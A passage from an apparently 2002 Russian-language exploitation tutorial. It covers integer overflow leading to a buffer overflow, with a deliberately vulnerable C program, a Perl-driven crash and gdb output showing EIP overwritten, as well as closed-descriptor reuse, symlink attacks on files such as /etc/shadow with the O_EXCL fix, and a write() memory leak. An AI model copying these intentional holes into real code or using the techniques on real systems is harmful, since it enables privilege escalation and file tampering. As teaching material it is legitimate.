  -----[    7    ]-----
 
 
 
 Теперь перейдём к иному виду атаки, который называется Integer Overflow, ибо
 
 виной всему становится "игра в цифры" (результатом которого является какое-либо
 
 переполнение либо просто незапланированный исход программы), т.е. атакующий
 
 контролирует некоторые цифры, которые очень важны для правильной работы уязви-
 
 мой программы. Для визуализации хочу привести следующий пример:
 
 
 
 ==================================================
 
 main(int argc, char **argv) {
 
 
 
 	int fd=666;
 
 
 
 	printf("fd = %p, sizeof int = %d, sizeof fd = %d\n",fd,sizeof(int),sizeof(fd));
 
 	printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x\n");
 
 	fd=atoi(argv[1]);
 
 	printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x\n");
 
 	printf("fd=%d\n",fd);
 
 	fd++;
 
 	printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x\n");
 
 	printf("fd=%d\n",fd);
 
 }
 
 ==================================================
 
 
 
 Теперь можно поиграть немного:
 
 
 
 [root@columbia work]# ./2 11111111111111111111111111111111111
 
 fd = 0x29a, sizeof int = 4, sizeof fd = 4
 
 0000029a 00000004 00000004 08049650 0000029a bffffb08 4003a177
 
 0000029a 00000004 00000004 08049650 7fffffff bffffb08 4003a177
 
 fd=2147483647
 
 7fffffff 00000004 00000004 08049650 80000000 bffffb08 4003a177
 
 fd=-2147483648
 
 [root@columbia work]#
 
 
 
 Как видно максимум дозволенного для положительного int (как и для long) -
 
 7fffffff (2147483647). Хотя по логике вещей для int должно отводиться 0xffff
 
 (65535), но т.к. используются все 4 байта (32битный режим), что отведены под
 
 переменную, можно ещё понять это. Что произошло с fd.. после того, как ей было
 
 присвоено 0x7fffffff, и после этого число увеличили на единицу? Если предста-
 
 вить fd в двоичном коде, то, при инкременте, у нас единица вылезает из своего
 
 разряда, т.к. превышен максимальный порог положительного числа, хотя результат
 
 суммы по модулю будет 2147483648, т.е. на ед. больше... Вот такие вот особен-
 
 ности процессора. То же самое мы увидим и на таком примере, в котором те же
 
 действия производятся с регистром (только здесь уже нет контроля длины числа в
 
 десятичном виде..и мы можем положить в регистр больше , чем 0x7fffffff.. Вот и
 
 запишем в eax, 0x80000000 и прибавим на единицу):
 
 ==================================================
 
 int add() {
 
 	__asm__("movl $2147483648,%eax\n"
 
 		"inc %eax\n");
 
 }
 
 
 
 main() {
 
         printf("eax = %d\n",add());
 
         printf("Done!\n");
 
 }
 
 ==================================================
 
 
 
 Результат:
 
 
 
 [root@columbia work]# !gcc
 
 gcc -o 3 3.c
 
 [root@columbia work]# ./3
 
 eax = -2147483647
 
 Done!
 
 [root@columbia work]#
 
 
 
 Уже... -2147483647 (-0x7fffffff), а если занести 0x7fffffff и сделать инкремент,
 
 то получим -2147483648. Если же занести -2147483649 и прибавить на единицу, то
 
 получим -2147483646 и т.п.
 
 
 
 Т.е. уже ясно, что для положительных и отрицательных чисел есть свои границы
 
 (т.е. диапозон ffffffff делится пополам):
 
 
 
 0..7fffffff		 положительные
 
 80000000..ffffffff	 отрицательные
 
 
 
 Вот почему мы, пихав очень большое положительное число, не могли его туда запи-
 
 хнуть, а запихивали только максимум положительного числа - 7fffffff.
 
 
 
 Если мы подадим в регистр eax -1, то при инкременте получим 0, этого же резуль-
 
 тата можно получить, если занести число 0xffffffff (4294967295) и прибавить его
 
 на единицу, если занести 0xfffffffe (4294967294), то получим -1.
 
 
 
 Разумеется, этот недостаток можно применять в разного рода операциях, при копи-
 
 ровании, к примеру, при выделении памяти, при чтении и записи и т.п.
 
 
 
 простой пример:
 
 
 
 ==================================================
 
 main(int argc, char **argv) {
 
 	char a[100];
 
 	int i=atoi(argv[1]);
 
 	if(i<0) i=-i;
 
 	i+=1;
 
 	printf("a=%p,%d,i=%d\n",a,sizeof(a),i);
 
 	snprintf(a,sizeof(a)-i,"%s",argv[2]);
 
 	printf("a = '%s'\n",a);
 
 }
 
 ==================================================
 
 
 
 [root@columbia work]# ./5 -12 `perl -e 'print "A"x999'`
 
 a=0xbffff680,100,i=13
 
 a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 
 [root@columbia work]# ./5 11111111111111111111111111111111111 `perl -e 'print "A"x10'`
 
 a=0xbffffa40,100,i=-2147483648
 
 a = 'AAAAAAAAAA'
 
 [root@columbia work]# ./5 11111111111111111111111111111111111 `perl -e 'print "A"x666'`
 
 a=0xbffff7b0,100,i=-2147483648
 
 a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 
 Segmentation fault (core dumped)
 
 [root@columbia work]# gdb 5 core
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 #0  0x41414141 in ?? ()
 
 (gdb)
 
 
 
 
 
 Из выше изложенного видно, что если мы попытаемся подать отрицательное число в
 
 качестве параметра argv[1], то оно сразу же станет положительным...но мы можем
 
 воспользоваться тем, что у нас может произойти переполнение переменной i и тем
 
 самым эта переменная сменит свой знак, т.к. будет находиться в диапозоне отри-
 
 цательных чисел... и как видно разность sizeof(a)-i (при i<0) становится поло-
 
 жительной и гораздо больше, чем размер буффера "а", что может привести к пере-
 
 полнению буффера. Как и показано выше! Ну а далее дело техники, которая уже была
 
 описана в главе 1.
 
 
 
 
 
  -----[    8    ]-----
 
 
 
 Так же хотелось упомянуть такие виды атак, которые стали на сей день новомодными..
 
 
 
 К примеру, атака, ставшая в последнее время широко применяемой, после того, как
 
 народ узнал об ошибке связанной с закрытием дескрипторов, ответственных за ввод/
 
 вывод (stdin (0), stdout (1), stderr (2)). Чтобы наглядно показать суть проблемы,
 
 давайте рассмотрим следующий пример:
 
 
 
 пример уязвимой программы:
 
 
 
 ==================================================
 
 #include 
 
 #include 
 
 
 
 int main() {
 
 
 
 	int fd;
 
 	system("echo>file.txt");
 
 	close(2);
 
 	fd=open("file.txt",O_WRONLY);
 
 	fprintf(stderr,"y0 niGGa!\n");
 
 	close(fd);
 
 }
 
 ==================================================
 
 
 
 Исход данной программы будет такой, что в результате, т.к. stderr закрыт, фраза
 
 "y0 niGGa!" будет перенаправлена на дескриптор, что выше, т.е. fd. (фактически
 
 сам stderr будет указывать на fd) В результате чего она (фраза) запишется в
 
 файл! А если представить, что данная программа работает с файлом /etc/shadow,
 
 то исход может привести к захвату сис-мы!
 
 
 
 [root@columbia work]# gcc -o 5 5.c
 
 [root@columbia work]# ls -la file.txt
 
 ls: file.txt: No such file or directory
 
 [root@columbia work]# ./5
 
 [root@columbia work]# cat file.txt
 
 y0 niGGa!
 
 [root@columbia work]#
 
 
 
 То же самое можно делать и с STDIN, STDOUT...
 
 
 
 Так же не менее популярна ошибка связанная с работой с файлами! Многие програм-
 
 мисты не уделяют этому должное внимание и не проверяют на существование файла,
 
 в результате чего атакующий может просто воспользоваться и перенаправить поток
 
 данных в другой файл (например, в тот же /etc/shadow). Рассмотрим пример уязви-
 
 мой программы:
 
 ==================================================
 
 #include 
 
 
 
 main() {
 
 	int fd;
 
 
 
 	fd=open("file",O_WRONLY|O_CREAT,0666);
 
 	if(fd!=-1) {
 
 		write(fd,"LOGIN:PASS\n",11);
 
 		close(fd);
 
 		printf("DONE!\n");
 
 	}
 
 	else { printf("some error was occured!\n"); }
 
 }
 
 ==================================================
 
 
 
 Теперь можно посмореть как программа работает:
 
 
 
 [root@columbia work]# gcc -o 2 2.c
 
 [root@columbia work]# rm -rf file*
 
 [root@columbia work]# ./2
 
 DONE!
 
 [root@columbia work]# cat file
 
 LOGIN:PASS
 
 [root@columbia work]# rm -rf file*
 
 [root@columbia work]# touch file2
 
 [root@columbia work]# ln -s file2 file
 
 [root@columbia work]# ls -la file*
 
 lrwxrwxrwx   1 root     root            5 Dec 23 11:17 file -> file2
 
 -rw-r--r--   1 root     root            0 Dec 23 11:17 file2
 
 [root@columbia work]# ./2
 
 DONE!
 
 [root@columbia work]# cat file2
 
 LOGIN:PASS
 
 [root@columbia work]#
 
 
 
 А теперь вставим проверку на существование файла при попытке его открытия:
 
 ==================================================
 
 #include 
 
 
 
 main() {
 
 	int fd;
 
 
 
 	fd=open("file",O_WRONLY|O_CREAT|O_EXCL,0666);
 
 	if(fd!=-1) {
 
 		write(fd,"LOGIN:PASS\n",11);
 
 		close(fd);
 
 		printf("DONE!\n");
 
 	}
 
 	else { printf("some error was occured!\n"); }
 
 }
 
 ==================================================
 
 
 
 [root@columbia work]# rm -rf file*
 
 [root@columbia work]# touch file2
 
 [root@columbia work]# ln -s file2 file
 
 [root@columbia work]# ls -la file*
 
 lrwxrwxrwx   1 root     root            5 Dec 23 11:25 file -> file2
 
 -rw-r--r--   1 root     root            0 Dec 23 11:25 file2
 
 [root@columbia work]# ./2
 
 some error was occured!
 
 [root@columbia work]# !ls
 
 ls -la file*
 
 lrwxrwxrwx   1 root     root            5 Dec 23 11:25 file -> file2
 
 -rw-r--r--   1 root     root            0 Dec 23 11:25 file2
 
 [root@columbia work]#
 
 
 
 Вот теперь открытые будет безопасным...
 
 
 
 И ещё один интересный момент, пожалуй, который мало вероятно, что встретится
 
 вообще когда-нибудь ;). Очень интересное явление происходит при таком синтак-
 
 сисе записи в файловый дескриптор:
 
 
 
 write(int fd, const char str, negative integer);
 
 
 
 т.е. при:
 
 
 
 write(fd,"La-la-la",-666);
 
 
 
 мы запишем в fd (будь то файл или сокет или ещё что-либо) бинарный код исходной
 
  программы начиная с момента записи. Но не тот код, что получается при компиля-
 
 ции, а тот, что сиди в памяти. При этом будут видны все строки, которые идут
 
 открытым текстом в коде программы после нашего write(). Вот пример:
 
 ==================================================
 
 #include 
 
 
 
 main() {
 
         int fd;
 
 
 
         fd=open("file",O_WRONLY|O_CREAT|O_EXCL,0666);
 
         if(fd!=-1) {
 
                 write(fd,"LOGIN:PASS\n",-11);
 
                 close(fd);
 
                 printf("DONE!\n");
 
         }
 
         else { printf("some error was occured!\n"); }
 
 }
 
 ==================================================
 
 
 
 [root@columbia work]# gcc -o 6 6.c
 
 [root@columbia work]# ls -la file
 
 ls: file: No such file or directory
 
 [root@columbia work]# ./6
 
 DONE!
 
 [root@columbia work]# ls -la file
 
 -rw-r--r--   1 root     root         4096 Dec 24 13:13 file
 
 [root@columbia work]# strings file
 
 LOGIN:PASS
 
 DONE!
 
 some error was occured!
 
 init.c
 
 /usr/src/bs/BUILD/glibc-2.2.2/csu/
 
 gcc2_compiled.
 
 int:t(0,1)=r(0,1);-2147483648;2147483647;
 
 char:t(0,2)=r(0,2);0;127;
 
 long int:t(0,3)=r(0,3);-2147483648;2147483647;
 
 unsigned int:t(0,4)=r(0,4);0000000000000;0037777777777;
 
 long unsigned int:t(0,5)=r(0,5);0000000000000;0037777777777;
 
 long long int:t(0,6)=@s64;r(0,6);010000000
 
 /lib/ld-linux.so.2
 
 __gmon_start__
 
 libc.so.6
 
 printf
 
 __cxa_finalize
 
 write
 
 __deregister_frame_info
 
 _IO_stdin_used
 
 __libc_start_main
 
 open
 
 __register_frame_info
 
 close
 
 GLIBC_2.1.3
 
 GLIBC_2.0
 
 PTRh
 
 file
 
 [root@columbia work]#
 
 
 
 Таким образом можно узнать конечный код программы (если, к примеру, её нельзя
 
 было отладить или просмотреть из-за отсутствия пермишена на чтение), но, увы,
 
 вероятность возникновения такой ситуации очень мала, ибо именно, когда на за-
 
 пись подаётся строковая константа при негативном кол-ве записываемых байт...
 
 у нас получается вот такой вот excess. Если же вместо строковой константы
 
 "La-la-la" передать переменную типа "char buf[40]", то данного результата уже
 
 не будет.
 
 
 
 
 
  -----[    9    ]-----
 
 
 
 1) Подробно про проблему связанную с format string (на русском):
 
 
 
    http://void.ru/content/760
 
    http://void.ru/content/761
 
    http://void.ru/content/762
 
    http://void.ru/content/763
 
 
 
 2) Много всяких статей про большенство тем:
 
 
 
    http://packetstormsecurity.nl/papers/unix/
 
 
 
 3) информация, связанная с heap:
 
 
 
    http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=57&a=8
 
    (и вообще.. советую читать www.phrack.com! там много интересного пишут ;)
 
 
 
    http://www.w00w00.org/files/articles/heaptut.txt
 
    http://www.synnergy.net/downloads/papers/vudo-howto.txt
 
 
 
 
 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Приветы -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 
      |                                                                   |
 
      | Billi_k1d ;), aLph4Num3Ric, m0mentas %), L0rda, fixa, texniq, btr,|
 
      | ulgrig :))), Ares, ink0gnit0, ac[id] 8), hhs ;))), alpachino,wh ;)|
 
      |                                                                   |
 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+- 0101010 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 
 
 
 
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 +Copyright (C) CrZ [crazy_einstein@yahoo.com] 2002 Limpid Byte [lbyte.void.ru]+
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 
 
 ====================
 Limpid Byte
 http://lbyte.void.ru
 
 


<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS